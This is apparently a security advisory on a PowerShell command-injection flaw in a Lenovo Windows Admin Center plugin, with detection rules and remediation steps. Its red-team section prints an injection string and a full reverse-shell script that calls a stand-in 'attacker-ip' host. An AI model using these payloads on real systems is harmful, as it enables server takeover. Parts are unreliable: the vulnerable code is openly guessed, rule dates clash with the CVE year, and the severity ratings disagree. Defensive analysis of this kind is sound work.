CVE-2026-14371

Executive Summary

CVE-2026-14371 is a critical PowerShell Command Injection vulnerability discovered in the Lenovo XClarity Integrator for Windows Admin Center (WAC) plugin, version 5.1.1 and below. This flaw allows an authenticated attacker with access to the WAC Gateway to inject arbitrary PowerShell commands during the establishment of remote PowerShell sessions. The vulnerability stems from improper sanitization of user-supplied input when constructing PowerShell commands, enabling command injection at the system level. Given the plugin's role in managing Lenovo hardware infrastructure, successful exploitation could lead to full compromise of managed nodes, lateral movement within the enterprise network, and potential data exfiltration. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary plugin for the Windows Admin Center ecosystem, distributed by Lenovo. The supply chain risk is limited to the integrity of the plugin's distribution channel and the trustworthiness of the WAC Gateway environment.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable over the network via WAC Gateway.
• Attack Complexity (AC): Low (L) – No special conditions required beyond authentication.
• Privileges Required (PR): Low (L) – Requires valid credentials to the WAC Gateway.
• User Interaction (UI): None (N) – No user action needed beyond the attacker's own.
• Scope (S): Changed (C) – The vulnerable component (plugin) impacts the managed node (beyond its security scope).
• Confidentiality (C): High (H) – Full access to managed node data.
• Integrity (I): High (H) – Full control over managed node.
• Availability (A): High (H) – Potential for denial of service.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical. The vulnerability enables remote code execution on managed systems, which are often critical infrastructure components.

Deep Dive & Mechanics

The Lenovo XClarity Integrator plugin facilitates remote management of Lenovo servers through Windows Admin Center. It uses PowerShell remoting (WinRM) to execute commands on managed nodes. The vulnerability lies in the plugin's command construction logic. When a user initiates a remote PowerShell session, the plugin likely concatenates user-provided parameters (e.g., server name, credentials, or custom commands) directly into a PowerShell command string without proper sanitization or escaping.

For example, a vulnerable code path might look like:

$command = "Invoke-Command -ComputerName $userInput -ScriptBlock { ... }"

If $userInput contains malicious characters like ;, |, or backticks, an attacker can break out of the intended command and execute arbitrary PowerShell code.

The attack flow:

1. Attacker authenticates to the WAC Gateway.
2. Attacker navigates to the XClarity Integrator plugin.
3. Attacker provides a crafted input in a field that is used to construct a remote PowerShell command (e.g., server name, custom script block).
4. The plugin executes the injected command on the managed node with the privileges of the WAC Gateway service account.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is speculative. However, the vulnerable code likely resembles:

Vulnerable (C# or PowerShell):

string command = $"Invoke-Command -ComputerName {userInput} -ScriptBlock {{ Get-Service }}";
PowerShell ps = PowerShell.Create();
ps.AddScript(command);
ps.Invoke();

Patched (Expected):

string computerName = SanitizeInput(userInput); // Validate against allowlist
string command = $"Invoke-Command -ComputerName '{computerName}' -ScriptBlock {{ Get-Service }}";
PowerShell ps = PowerShell.Create();
ps.AddScript(command);
ps.Invoke();

Or better, using parameterized commands:

PowerShell ps = PowerShell.Create();
ps.AddCommand("Invoke-Command")
  .AddParameter("ComputerName", userInput)
  .AddParameter("ScriptBlock", ScriptBlock.Create("Get-Service"));
ps.Invoke();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Windows Server 2019/2022 with WAC Gateway installed.
• Lenovo XClarity Integrator plugin v5.1.1.
• A managed node (any Windows server) reachable via WinRM.
• Attacker machine with PowerShell and network access to WAC Gateway.

Exploitation Steps:

1. Authenticate to the WAC Gateway (e.g., https://wac-gateway:443).
2. Navigate to the XClarity Integrator plugin.
3. In a field that accepts a server name or custom command, inject a payload. Example payload for a server name field:

   target-server; powershell -e <base64-encoded-command>
   

4. Execute the remote command. The injected payload runs on the managed node.

Example Payload (Base64 encoded):

# Encode a reverse shell
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Encode with:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))

Blue Team (Defensive)

Detection:

• Monitor WAC Gateway logs for unusual PowerShell command construction.
• Look for WinRM events (Event ID 4104, 4103) on managed nodes showing unexpected script blocks.
• Use network monitoring to detect outbound connections from managed nodes to unknown IPs.

Hunting:

• Search for PowerShell command lines containing Invoke-Command with suspicious parameters.
• Check for base64-encoded strings in WAC Gateway input fields.

Mitigation:

• Disable the XClarity Integrator plugin until a patch is available.
• Restrict access to the WAC Gateway to trusted administrators only.
• Implement application allowlisting on managed nodes.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2026_14371_PowerShell_Injection {
    meta:
        description = "Detects PowerShell command injection patterns targeting Lenovo XClarity Integrator"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-14371"
    strings:
        $injection1 = /Invoke-Command\s+-ComputerName\s+[^;]+;/ nocase
        $injection2 = /powershell\s+-e\s+[A-Za-z0-9+/=]{50,}/ nocase
        $injection3 = /-ScriptBlock\s+\{[^}]*;/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-14371 - Lenovo XClarity Integrator PowerShell Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious PowerShell commands indicative of exploitation of CVE-2026-14371
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: powershell
    category: script_block
detection:
    selection:
        ScriptBlockText|contains:
            - 'Invoke-Command -ComputerName'
            - 'powershell -e '
            - '; powershell'
    condition: selection
falsepositives:
    - Legitimate administrative use of Invoke-Command
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-14371 - Lenovo XClarity Integrator PowerShell Injection Outbound"; flow:to_server,established; content:"Invoke-Command"; nocase; content:"-ComputerName"; distance:0; within:100; content:"powershell"; distance:0; within:200; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Remove or disable the Lenovo XClarity Integrator plugin from the WAC Gateway until a patch is available.
2. Access Control: Restrict access to the WAC Gateway to only authorized administrators using network segmentation and strong authentication (MFA).
3. Monitor: Enable enhanced PowerShell logging (ScriptBlock Logging, Module Logging) on all managed nodes and the WAC Gateway.

Long-term Fix:

• Apply the official patch from Lenovo once released.
• Implement input validation and parameterized commands in the plugin code.
• Conduct a security audit of all WAC plugins.

Workaround:

• Use an alternative management tool (e.g., Lenovo XClarity Administrator) that does not rely on the vulnerable plugin.

Valters IT
DevSecOps & Cyber Threat Intelligence Division